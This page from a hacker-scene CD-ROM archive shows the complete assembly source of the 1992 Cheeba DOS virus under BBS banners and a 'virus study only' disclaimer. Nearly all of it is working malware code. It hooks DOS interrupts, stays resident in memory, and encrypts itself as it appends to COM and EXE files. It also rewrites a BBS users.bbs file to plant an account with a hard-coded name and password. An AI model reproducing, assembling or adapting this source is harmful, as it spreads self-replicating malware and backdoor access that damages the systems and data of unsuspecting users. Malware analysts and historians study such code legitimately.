home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / CHEEBA.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  27KB  |  858 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;*** The author of Cheeba let his source lie around --- so HERE IT IS!!! ***
  25. ; Btw just one thing --- I give it 2 you as long as you don't make a
  26. ; sucking destroying thing... Btw 2 this is of course only educational...
  27. ;-----------------------------------------------------------------------------
  28. ; Naam en password staan +- op lijn 200. Verander de low-version number
  29. ; bij de verschillende versies...
  30. ; Verander verder NIKS aan het virus !!!
  31.  
  32. Com_First:      push cs
  33. S_1:            mov ax,100h
  34. S_2:            push ax
  35.                 mov ax,cs
  36. CodePars:       add ax,0
  37.                 push ax
  38. S_3:            mov ax,offset End_Virus
  39. S_4:            push ax
  40.                 retf
  41.  
  42. VirTitle        db 'CHEEBA Makes Ya High Harmlessly-1.2 F**K THE LAMERS'
  43.  
  44. I21Hooks        db 0
  45.                 dw offset Stop_Prg
  46.                 db 31h
  47.                 dw offset Stop_Prg
  48.                 db 4Ch
  49.                 dw offset Stop_Prg
  50.                 db 4Bh
  51.                 dw offset Start_Prg
  52.                 db 45h
  53.                 dw offset Check_Init
  54.                 db 3Ch
  55.                 dw offset Open_Wrt
  56.                 db 3Dh
  57.                 dw offset Open_Rd
  58.                 db 3Eh
  59.                 dw offset Check_Close
  60.                 db 40h
  61.                 dw offset Check_Vir
  62.  
  63. New_21:         call Rest_Orig_21
  64.                 call Save_Regs
  65.                 cld
  66.                 mov bx,offset I21Hooks
  67. Srch_Fct_Lp:    cmp ah,[bx]
  68.                 jne Wrong_Fct
  69.                 push [bx+1]
  70.                 call Retr_Regs
  71.                 ret
  72. Wrong_Fct:      add bx,3
  73.                 cmp bx,offset New_21
  74.                 jb Srch_Fct_Lp
  75.  
  76. Go_Dos:         call Retr_Regs
  77.                 call Call_Dos
  78. Skip_21:        call Rest_21_Jmp
  79.                 retf 2
  80.  
  81. Call_Dos:       pushf
  82.                 db 09Ah
  83. Org_21_Addr     dw 2 dup (?)
  84.                 ret
  85.  
  86. Org_21_Code     db 5 dup (?)
  87.  
  88. ;*** Fct 45 - check init ***
  89.  
  90. Check_Init:     cmp bx,0D15h
  91.                 jne Go_Dos
  92.                 mov bx,0F0Ch
  93.                 jmp short Skip_21
  94.  
  95. ;*** I21 FCT 3Dh - Open file for read ***
  96.  
  97. Open_Rd:        test al,3
  98.                 jz Go_Dos
  99.                 xchg si,dx
  100. Get_0:          lodsb
  101.                 or al,al
  102.                 jnz Get_0
  103.                 mov cx,0Ah
  104.                 xor bx,bx
  105.                 xor ax,ax
  106.                 cwd        ; Dx = 0
  107. Get_CSum:       dec si
  108.                 rol bx,1
  109.                 mov al,[si]
  110.                 or al,20h
  111.                 xor bl,al
  112.                 add dx,ax
  113.                 loop Get_CSum
  114.                 cmp bx,1AE7h
  115.                 jne Go_Dos
  116.                 cmp dx,3B7h
  117.                 jne Go_Dos
  118.  
  119. Is_Users:       mov word ptr cs:[Save_A_Reg],si
  120.                 mov di,offset Coded
  121. Del_Si:         mov si,word ptr cs:[Save_A_Reg]
  122. Lp_Unc:         lodsb
  123.                 or al,al
  124.                 jz Del_Si
  125.                 or al,20h
  126.                 sub byte ptr cs:[di],al
  127.                 inc di
  128.                 cmp di,offset No_Read
  129.                 jb Lp_Unc
  130.  
  131. Coded:          call Retr_Regs
  132.                 and al,0FEh
  133.                 or al,2
  134.                 call Call_Dos
  135.                 jnc Has_Read
  136.                 jmp No_Read
  137. Has_Read:       pushf
  138.                 call Save_Regs
  139.                 xchg bx,ax
  140.                 mov ah,3Fh
  141.                 mov cx,9Eh
  142.                 mov dx,offset End_Virus
  143.                 call Call_Dos
  144.                 mov dx,[End_Virus+20h]
  145.                 mov cx,[End_Virus+22h]
  146.                 or cx,cx
  147.                 jnz Test_Ok
  148.                 or dx,dx
  149.                 jz No_XS_YET
  150.  
  151. Test_Ok:        mov ax,4200h
  152.                 call Call_Dos
  153.                 mov ah,3Fh
  154.                 mov dx,offset End_Virus+9Eh
  155.                 mov cx,9Eh
  156.                 call Call_Dos
  157.                 cmp ax,cx
  158.                 jnz No_XS_YET
  159.                 cmp byte ptr [End_Virus+9Eh],3
  160.                 jne No_XS_YET
  161.                 test byte ptr [End_Virus+9Eh+77h],1
  162.                 jnz No_XS_YET
  163.                 mov ax,[End_Virus+84h]
  164.                 cmp ax,[End_Virus+9Eh+84h]
  165.                 jne No_XS_YET
  166. J_Less:         jmp Less_Users
  167.  
  168. No_XS_Yet:      mov ax,4202h
  169.                 xor cx,cx
  170.                 cwd   ; Dx = 0
  171.                 call Call_Dos
  172.                 or dx,dx
  173.                 jnz More_Users
  174.                 cmp ax,9Eh*50    ; 50 users of meer
  175.                 jb J_Less
  176.  
  177. More_Users:     mov cx,9Eh
  178.                 div cx
  179.                 or dx,dx
  180.                 jnz J_Less
  181.                 shr ax,1
  182.                 mul cx
  183.                 xchg cx,dx
  184.                 xchg dx,ax
  185.                 mov ax,4200h
  186.                 call Call_Dos
  187. Read_Lp:        mov ah,3Fh
  188.                 mov dx,offset End_Virus+9Eh
  189.                 mov cx,9Eh
  190.                 call Call_Dos
  191.                 cmp ax,cx
  192.                 jne Less_Users
  193.                 test byte ptr [offset End_Virus+9Eh+77h],1 ; Search deleted
  194.                 je Read_Lp
  195.                 mov ax,4201h
  196.                 mov cx,-1
  197.                 mov dx,-9Eh
  198.                 call Call_Dos
  199.                 push dx
  200.                 push ax
  201.                 mov [End_Virus+20h],ax
  202.                 mov [End_Virus+22h],dx
  203.                 mov ax,4200h
  204.                 xor cx,cx
  205.                 cwd  ; dx = 0
  206.                 call Call_Dos
  207.                 mov ah,40h
  208.                 mov cx,9Eh
  209.                 mov dx,offset End_Virus
  210.                 call Call_Dos
  211.                 mov ax,4200h
  212.                 pop dx
  213.                 pop cx
  214.                 call Call_Dos
  215.                 push ds
  216.                 pop es
  217.                 mov al,0
  218.                 mov di,offset End_Virus
  219.                 mov cx,106h-9Eh
  220.                 repz stosb
  221.                 mov ax,2020h
  222.                 mov cx,5
  223. Wrt_20s:        inc di
  224.                 stosw
  225.                 loop Wrt_20s
  226.  
  227. ;HIER STAAN NAAM EN PASSWORD.
  228. ; Naam en password zijn 3 chars, Name = <N1><N2><N3> , Password = <P1><P2><P3>
  229. ; Zijn dus Name = 1F 20 7E, Password = 4D 5A B8
  230. ; Staan zoals hier:
  231. ;
  232. ; mov ..., 0 <N1> <NameLen = 3>
  233. ; ..... 0 <N3> <N2>
  234. ; Password:
  235. ; ..... ,0 <P1> <PassLen = 3>
  236. ; ..... ,0 <P3> <P2>
  237. ;
  238.                 mov word ptr [End_Virus],01F03h
  239.                 mov word ptr [End_Virus+2],07E20h
  240.                 mov word ptr [End_Virus+3Eh],04D03h
  241.                 mov word ptr [End_Virus+40h],0B85Ah
  242.  
  243.  
  244.                 mov ah,40h
  245.                 mov cx,9Eh
  246.                 mov dx,offset End_Virus
  247.                 call Call_Dos
  248.  
  249. Less_Users:     call Go_Beg_File
  250.                 popf
  251.                 call Retr_Regs
  252. No_Read:        pushf
  253.                 push ax
  254.                 push si
  255.                 push di
  256.                 push ds
  257.                 mov di,offset Coded
  258. Del_Si_2:       mov si,word ptr cs:[Save_A_Reg]
  259. Lp_Unc_2:       lodsb
  260.                 or al,al
  261.                 jz Del_Si_2
  262.                 or al,20h
  263.                 add byte ptr cs:[di],al
  264.                 inc di
  265.                 cmp di,offset No_Read
  266.                 jb Lp_Unc_2
  267.  
  268.                 pop ds
  269.                 pop di
  270.                 pop si
  271.                 pop ax
  272.                 popf
  273.  
  274.                 call Rest_21_Jmp
  275.                 retf 2
  276.  
  277. ;*** I 21 FCT 3C - Rewrite file ***
  278.  
  279. Open_Wrt:       cld
  280.                 test byte ptr cs:[Flags],1 ; Already sure-exec opened?
  281.                 jnz J_JD_2
  282.  
  283.                 push ds
  284.                 pop es
  285.                 xchg di,dx
  286.                 mov al,0
  287.                 mov cx,-1
  288.                 repnz scasb
  289.                 mov ax,[di-5]
  290.                 or ax,2020h
  291.                 cmp ax,'c.'
  292.                 jne No_Com
  293.                 mov ax,[di-3]
  294.                 or ax,2020h
  295.                 cmp ax,'mo'
  296.                 jne Open_It
  297. Sure_Exec:      or byte ptr cs:[Flags],1
  298. Open_It:        call Retr_Regs
  299.                 call Call_Dos
  300.                 jc Not_Opened
  301.                 mov word ptr cs:[Exec_Handle],ax
  302. Not_Opened:     call Rest_21_Jmp
  303.                 retf 2
  304.  
  305. No_Com:         cmp ax,'e.' ; '.E'?
  306.                 jne Open_It
  307.  
  308.                 mov ax,[di-3]
  309.                 or ax,2020h
  310.                 cmp ax,'ex'   ; .. 'XE'?
  311.                 je Sure_Exec
  312. OJ_2:           jmp short Open_It
  313.  
  314. ;*** I21 FCT 3E - Infect on close if orig. prog has written too ***
  315.  
  316. Check_Close:    push cs
  317.                 pop ds
  318.                 cmp bx,[Exec_Handle]                                ; Same file?
  319. J_JD_2:         jne JD_2
  320.                 mov word ptr [Exec_Handle],0FFFFh         ; Don't follow anymore
  321.                 call Go_Beg_File                            ; Go to beg. of file
  322.                 mov ah,3Fh                                    ; Read first bytes
  323.                 mov cx,18h
  324.                 mov dx,offset Read_Buf
  325.                 call Call_Dos
  326.                 and byte ptr [Flags],0FBh                         ; Flag for COM
  327.                 cmp word ptr [Read_Buf],'ZM'                         ; MZ - Exe?
  328.                 je Infect_Exe
  329.                 test byte ptr [Flags],1                             ; Sure exec?
  330.                 jnz Infect_Com
  331.                 and byte ptr cs:[Flags],0FEh
  332. JD_2:           jmp Go_Dos
  333.  
  334. Infect_Exe:     or byte ptr [Flags],4                             ; Flag for EXE
  335.                 mov ax,[Read_Buf+16h]
  336.                 mov [Exe_CS+1],ax
  337.                 mov ax,[Read_Buf+14h]
  338.                 mov [Exe_IP+1],ax
  339.                 cmp ax,offset Init
  340.                 je OJ_2
  341.                 mov ax,[Read_Buf+0Eh]
  342.                 mov [Exe_SS+1],ax
  343.                 mov ax,[Read_Buf+10h]
  344.                 mov [Exe_SP+1],ax
  345. Infect_Com:     and byte ptr [Flags],0FEh
  346.                 cmp word ptr [Read_Buf],0B80Eh
  347.                 je JD_2
  348.                 cmp word ptr [Read_Buf],0BFh
  349.                 je JD_2
  350.  
  351. Not_Inf:        mov ax,4202h                                 ; Go to end of file
  352.                 xor cx,cx
  353.                 cwd ; Dx = 0
  354.                 call Call_Dos
  355.  
  356.                 test byte ptr [Flags],4
  357.                 jz No_Ovl_Test
  358.  
  359.                 push ax                       ; .EXE: Test for internal overlays
  360.                 push dx
  361.                 mov cx,200h
  362.                 div cx
  363.                 cmp dx,[Read_Buf+2]
  364.                 jne Is_Ovl
  365.                 or dx,dx
  366.                 jz No_Corr_Chk
  367.                 inc ax
  368. No_Corr_Chk:    cmp ax,[Read_Buf+4]
  369. Is_Ovl:         pop dx
  370.                 pop ax
  371.                 je No_Ovl_Test
  372.  
  373. JD_3:           jmp short JD_2
  374.  
  375. No_Ovl_Test:    add ax,0Fh                                   ; End in paragraphs
  376.                 adc dx,0
  377.                 and ax,0FFF0h
  378.  
  379.                 mov Org_Fl_Len_Lo,ax
  380.                 mov Org_Fl_Len_Hi,dx
  381.  
  382.                 push ax
  383.                 mov cl,4
  384.                 shr ax,cl
  385.                 mov [CodePars+1],ax
  386.                 or al,al
  387.                 jnz No_Al_0
  388.                 dec al
  389. No_Al_0:        mov byte ptr [offset S_5-1],al
  390.                 pop ax
  391.  
  392.                 push ax
  393.                 push dx
  394.  
  395.                 mov cx,dx                              ; Go to end-in-paragraphs
  396.                 mov dx,ax
  397.                 mov ax,4200h
  398.                 call Call_Dos
  399.  
  400.                 push cs
  401.                 pop es
  402.                 mov si,100h
  403.                 mov di,offset End_Virus
  404.                 mov cx,offset End_Virus-100h
  405.                 mov dl,byte ptr cs:[offset S_5-1]
  406. Code_Lp:        lodsb
  407.                 cmp si,offset Init
  408.                 ja No_Code
  409.                 xor al,dl
  410. No_Code:        stosb
  411.                 loop Code_Lp
  412.  
  413.                 mov ax,5700h
  414.                 call Call_Dos
  415.                 mov Org_Fl_Time,cx
  416.                 mov Org_Fl_Date,dx
  417.  
  418.                 mov ah,40h                          ; Write virus behind program
  419.                 mov cx,offset End_Virus-100h
  420.                 mov dx,offset End_Virus
  421.                 call Call_Dos
  422.  
  423.                 call Go_Beg_File
  424.  
  425.                 mov dx,offset Com_First
  426.                 mov cx,10h
  427.  
  428.                 pop si
  429.                 pop ax
  430.  
  431.                 test byte ptr [Flags],4
  432.                 jz Init_Com
  433.  
  434.                 mov dx,si
  435.                 mov cx,4
  436. Get_CS:         shr dx,1
  437.                 rcr ax,1
  438.                 loop Get_CS
  439.  
  440.                 sub ax,[Read_Buf+8]                              ; - header size
  441.                 sub ax,10h
  442.                 mov [Read_Buf+16h],ax
  443.                 mov [Read_Buf+0Eh],ax
  444.                 mov word ptr [Read_Buf+14h],offset Init
  445.                 mov word ptr [Read_Buf+10h],offset End_Virus+100h
  446.  
  447.                 mov ax,Org_Fl_Len_Lo
  448.                 mov dx,Org_Fl_Len_Hi
  449.  
  450.                 add ax,offset End_Virus-100h
  451.                 adc dx,0
  452.                 mov cx,200h
  453.                 div cx
  454.                 or dx,dx
  455.                 jz No_Corr
  456.                 inc ax
  457. No_Corr:        mov [Read_Buf+2],dx
  458.                 mov [Read_Buf+4],ax
  459.                 mov dx,offset Read_Buf
  460.                 mov cx,18h
  461.  
  462. Init_Com:       mov ah,40h
  463.                 call Call_Dos
  464.  
  465.                 mov ax,5701h
  466.                 mov cx,Org_Fl_Time
  467.                 mov dx,Org_Fl_Date
  468.                 call Call_Dos
  469.  
  470. JD_4:           jmp short JD_3
  471.  
  472.  
  473. ;*** 00 / 31 / 4C: End program ***
  474.  
  475. Stop_Prg:       push ds
  476.                 push bx
  477.                 lds bx,cs:[Jmp_22+1]
  478.                 cli
  479.                 mov byte ptr [bx],0EAh
  480.                 mov word ptr [bx+1],offset Int_22
  481.                 mov word ptr [bx+3],cs
  482.                 sti
  483.                 pop bx
  484.                 pop ds
  485.                 jmp short JD_4
  486.  
  487. Int_22:         call Rest_21_Jmp
  488.                 push cs
  489.                 pop ds
  490.                 les di,dword ptr [Jmp_22+1]
  491.                 mov si,offset Org_22
  492.                 call Move_Bytes
  493.                 call Retr_Regs
  494. Jmp_22:         jmp 0:0
  495.  
  496. Org_22          db 5 dup (?)
  497.  
  498. ;*** Start prog ***
  499.  
  500. Start_Prg:      lds bx,cs:[Jmp_13+1]
  501.                 cli
  502.                 mov byte ptr [bx],0EAh
  503.                 mov word ptr [bx+1],offset Int_13
  504.                 mov word ptr [bx+3],cs
  505.                 sti
  506.                 call Retr_Regs
  507. JD_5:           jmp short JD_4
  508.  
  509. Int_13:         call Rest_21_Jmp
  510.                 push si
  511.                 push di
  512.                 push ds
  513.                 push es
  514.                 push cs
  515.                 pop ds
  516.                 les di,dword ptr [Jmp_13+1]
  517.                 mov si,offset Org_13
  518.                 call Move_Bytes
  519.                 pop es
  520.                 pop ds
  521.                 pop di
  522.                 pop si
  523. Jmp_13:         jmp 0:0
  524.  
  525. Org_13          db 5 dup (?)
  526.  
  527. ;*** Check for string 'iru' (vIRUs) ***
  528.  
  529. Check_Vir:      cmp bx,cs:[Exec_Handle]
  530.                 jne No_Vir
  531.                 sub cx,2
  532.                 jc No_Vir
  533.                 push ds
  534.                 pop es
  535.                 mov di,dx
  536.                 mov al,'i'
  537. Iru_Lp:         repnz scasb
  538.                 jnz No_Vir
  539.                 cmp word ptr [di],'ur'
  540.                 jne Iru_Lp
  541.                 mov word ptr cs:[Exec_Handle],0FFFFh
  542.                 and byte ptr cs:[Flags],0FEh
  543. No_Vir:         jmp short JD_5
  544.  
  545.  
  546. Move_Bytes:     cli
  547.                 cld
  548.                 movsw
  549.                 movsw
  550.                 movsb
  551.                 sti
  552.                 ret
  553.  
  554. Rest_Orig_21:   push si
  555.                 push di
  556.                 push ds
  557.                 push es
  558.                 push cs
  559.                 pop ds
  560.                 mov si,offset Org_21_Code
  561.                 les di,dword ptr [Org_21_Addr]
  562.                 call Move_Bytes
  563.                 pop es
  564.                 pop ds
  565.                 pop di
  566.                 pop si
  567.                 ret
  568.  
  569. Rest_21_Jmp:    push ds
  570.                 push bx
  571.                 lds bx,dword ptr cs:[Org_21_Addr]
  572.                 cli
  573.                 mov byte ptr [bx],0EAh
  574.                 mov word ptr [bx+1],offset New_21
  575.                 mov word ptr [bx+3],cs
  576.                 sti
  577.                 pop bx
  578.                 pop ds
  579.                 ret
  580.  
  581. ;*** Proc: Save regs ***
  582.  
  583. Save_Regs:      mov word ptr cs:[Save_Ds],ds
  584.                 push cs
  585.                 pop ds
  586.                 mov word ptr [Save_Ax],ax
  587.                 mov word ptr [Save_Bx],bx
  588.                 mov word ptr [Save_Cx],cx
  589.                 mov word ptr [Save_Dx],dx
  590.                 mov word ptr [Save_Si],si
  591.                 mov word ptr [Save_Di],di
  592.                 mov word ptr [Save_Es],es
  593.                 ret
  594.  
  595. Retr_Regs:      push cs
  596.                 pop ds
  597.                 mov ax,word ptr [Save_Ax]
  598.                 mov bx,word ptr [Save_Bx]
  599.                 mov cx,word ptr [Save_Cx]
  600.                 mov dx,word ptr [Save_Dx]
  601.                 mov si,word ptr [Save_Si]
  602.                 mov di,word ptr [Save_Di]
  603.                 mov es,word ptr [Save_Es]
  604.                 mov ds,word ptr [Save_Ds]
  605.                 ret
  606.  
  607. Go_Beg_File:    mov ax,4200h
  608.                 xor cx,cx
  609.                 cwd ; dx = 0
  610.                 call Call_Dos
  611.                 ret
  612.  
  613. Exec_Handle     dw 0FFFFh              ; Handle of opened-with-write- exec. file
  614.  
  615. Flags           db (?) ; Flags: 1 = Sure exec (- Maybe data)
  616.                               ; 4 = EXE-file (- COM)
  617.  
  618. Org_Fl_Len_Lo   dw (?)
  619. Org_Fl_Len_Hi   dw (?)
  620.  
  621. Org_Fl_Time     dw (?)
  622. Org_Fl_Date     dw (?)
  623.  
  624. Save_Ax         dw (?)
  625. Save_Bx         dw (?)
  626. Save_Cx         dw (?)
  627. Save_Dx         dw (?)
  628. Save_Si         dw (?)
  629. Save_Di         dw (?)
  630. Save_Ds         dw (?)
  631. Save_Es         dw (?)
  632.  
  633. Save_A_Reg      dw (?)
  634.  
  635. Decoded:        mov word ptr cs:[Save_A_Reg],ds
  636.                 push ax
  637.                 push bx
  638.                 push cx
  639.                 push dx
  640.                 push ds
  641.                 push es
  642.  
  643.                 mov ah,45h
  644.                 mov bx,0D15h
  645.                 int 21h
  646.                 cmp bx,0F0Ch
  647.                 jne N_Y_Inst
  648.                 jmp Jmp_No_Init
  649. N_Y_Inst:       cld
  650.  
  651.                 xor ax,ax
  652.                 mov ds,ax
  653.  
  654.                 mov ax,[88h]                                     ; Save I22 addr
  655.                 mov cs:[Jmp_22+1],ax
  656.                 mov ax,[8Ah]
  657.                 mov cs:[Jmp_22+3],ax
  658.  
  659.                 mov ax,[04Ch]                                    ; Save I13 addr
  660.                 mov cs:[Jmp_13+1],ax
  661.                 mov dx,[04Eh]
  662.                 mov cs:[Jmp_13+3],dx
  663.  
  664.                 mov ah,52h
  665.                 int 21h
  666.                 cmp dx,es:[bx-2]
  667.                 jnb Jmp_No_Init
  668.  
  669.                 push [84h]
  670.                 push [86h]
  671.  
  672.                 push cs
  673.                 pop ds
  674.  
  675.                 push cs
  676.                 pop es
  677.  
  678.                 mov si,offset Com_First
  679.                 mov di,offset Com_Start_2
  680.  
  681. MoveStrt:       lodsw                           ; Other .COM start-up
  682.                 cmp si,offset CodePars+3
  683.                 je No_MS_Lp
  684.                 xchg ax,[di]
  685.                 mov [si-2],ax
  686.                 inc di
  687.                 inc di
  688. No_MS_Lp:       cmp si,offset VirTitle
  689.                 jb MoveStrt
  690.  
  691.                 xor byte ptr [Init],1
  692.                 xor byte ptr [S_9],6Ch
  693.                 xor byte ptr [Decode_Lp+2],1
  694.                 xor byte ptr [S_5],1
  695.                 xor byte ptr [S_6+1],1
  696.                 xor byte ptr [S_7],7
  697.                 xor byte ptr [S_8],6Ch ; Nop <> CLD
  698.  
  699.                 mov ax,word ptr cs:[Save_A_Reg]
  700.                 dec ax
  701. MCB_Loop:       mov ds,ax
  702.                 cmp byte ptr [0],'Z'
  703.                 je Found_End_MCB
  704.                 add ax,[3]
  705.                 inc ax
  706.                 cmp ah,0A0h
  707.                 jb MCB_Loop
  708.                 add sp,4
  709. Jmp_No_Init:    jmp short No_Init
  710.  
  711. Found_End_MCB:  mov bx,[3]
  712. Here_Pars:      sub bx,100h ; Filled in init-proc.
  713.                 jc No_Init
  714.                 mov [3],bx
  715.                 add ax,bx
  716.                 inc ax
  717.                 mov ds,cs:[Save_A_Reg]
  718.                 mov word ptr [2],ax
  719.                 sub ax,10h
  720.                 mov cx,offset End_Virus-100h
  721.                 push cs
  722.                 pop ds
  723.                 mov es,ax
  724.                 mov si,100h
  725.                 mov di,si
  726.                 repz movsb
  727.  
  728.                 pop ds
  729.                 pop si
  730.  
  731.                 mov es:[Org_21_Addr],si
  732.                 mov es:[Org_21_Addr+2],ds
  733.  
  734.                 mov di,offset Org_21_Code
  735.  
  736.                 call Move_Bytes
  737.  
  738.                 cli
  739.                 mov byte ptr [si-5],0EAh
  740.                 mov word ptr [si-4],offset New_21
  741.                 mov word ptr [si-2],es
  742.                 sti
  743.  
  744.                 lds si,cs:[Jmp_22+1]
  745.                 mov di,offset Org_22
  746.  
  747.                 call Move_Bytes
  748.  
  749.                 lds si,cs:[Jmp_13+1]
  750.                 mov di,offset Org_13
  751.  
  752.                 call Move_Bytes
  753.  
  754. No_Init:        pop es
  755.                 pop ds
  756.                 pop dx
  757.                 pop cx
  758.                 pop bx
  759.                 pop ax
  760.  
  761.                 test cs:Flags,4
  762.                 jnz Rest_Stack
  763.  
  764.                 push ds
  765.                 push cs
  766.                 pop ds
  767.                 mov cx,10h
  768.                 mov si,offset Read_Buf
  769.                 mov di,100h
  770.                 repz movsb
  771.                 pop ds
  772.                 retf
  773.  
  774. Rest_Stack:     mov ax,ds       ; Stack restore for .EXE files
  775. Exe_SS:         add ax,0
  776.                 add ax,10h
  777.                 cli
  778.                 mov ss,ax
  779. Exe_SP:         mov sp,0
  780.                 sti
  781.                 mov ax,ds
  782. Exe_Cs:         add ax,0
  783.                 add ax,10h
  784.                 push ax
  785. Exe_Ip:         mov ax,0
  786.                 push ax
  787.                 retf
  788.  
  789. Com_Start_2:    mov di,100h
  790.                 push cs
  791.                 mov ax,cs
  792.                 push di
  793.                 db 05h                  ; Add Ax,xxxx
  794.                 mov di,offset Init
  795.                 push ax
  796.                 push di
  797.                 retf
  798.  
  799. ;*** INIT - ONLY DECODE - PART ***
  800.  
  801. Init:           mov si,offset Com_First
  802. S_9:            cld
  803. Decode_Lp:      xor byte ptr cs:[si],0
  804. S_5:            inc si
  805. S_6:            cmp si,offset Init
  806. S_7:            jne Decode_Lp
  807. S_8:            nop
  808.                 jmp Decoded
  809.  
  810. Read_Buf        db 0CDh,20h
  811.                 db 16h dup (?)
  812.  
  813. End_Virus:      cld
  814.                 mov word ptr [S_3+1],offset Init
  815.            mov word ptr [Here_Pars+2],(((offset End_Virus-101h) shr 4) +1) shl 1
  816.                 mov di,offset Coded
  817. New_Us:         mov si,offset User_St
  818. B_V_CLp:        lodsb
  819.                 or al,al
  820.                 jz New_Us
  821.                 add [di],al
  822.                 inc di
  823.                 cmp di,offset No_Read
  824.                 jb B_V_CLp
  825.                 jmp Init
  826.  
  827. User_St         db 'users.bbs',0
  828.  
  829. ;****************************************************************************;
  830. ;                                                                            ;
  831. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  832. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  833. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  834. ;                     -=]                            [=-                     ;
  835. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  836. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  837. ;                     -=]                            [=-                     ;
  838. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  839. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  840. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  841. ;                                                                            ;
  842. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  843. ;                                                                            ;
  844. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  845. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  846. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  847. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  848. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  849. ; Is. Keep This Code in Responsible Hands!                                   ;
  850. ;                                                                            ;
  851. ;****************************************************************************;
  852.  
  853. ;─────────────────────────────────────────────────────────────────────────;
  854. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  855. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  856. ;─────────────────────────────────────────────────────────────────────────;
  857.  
  858.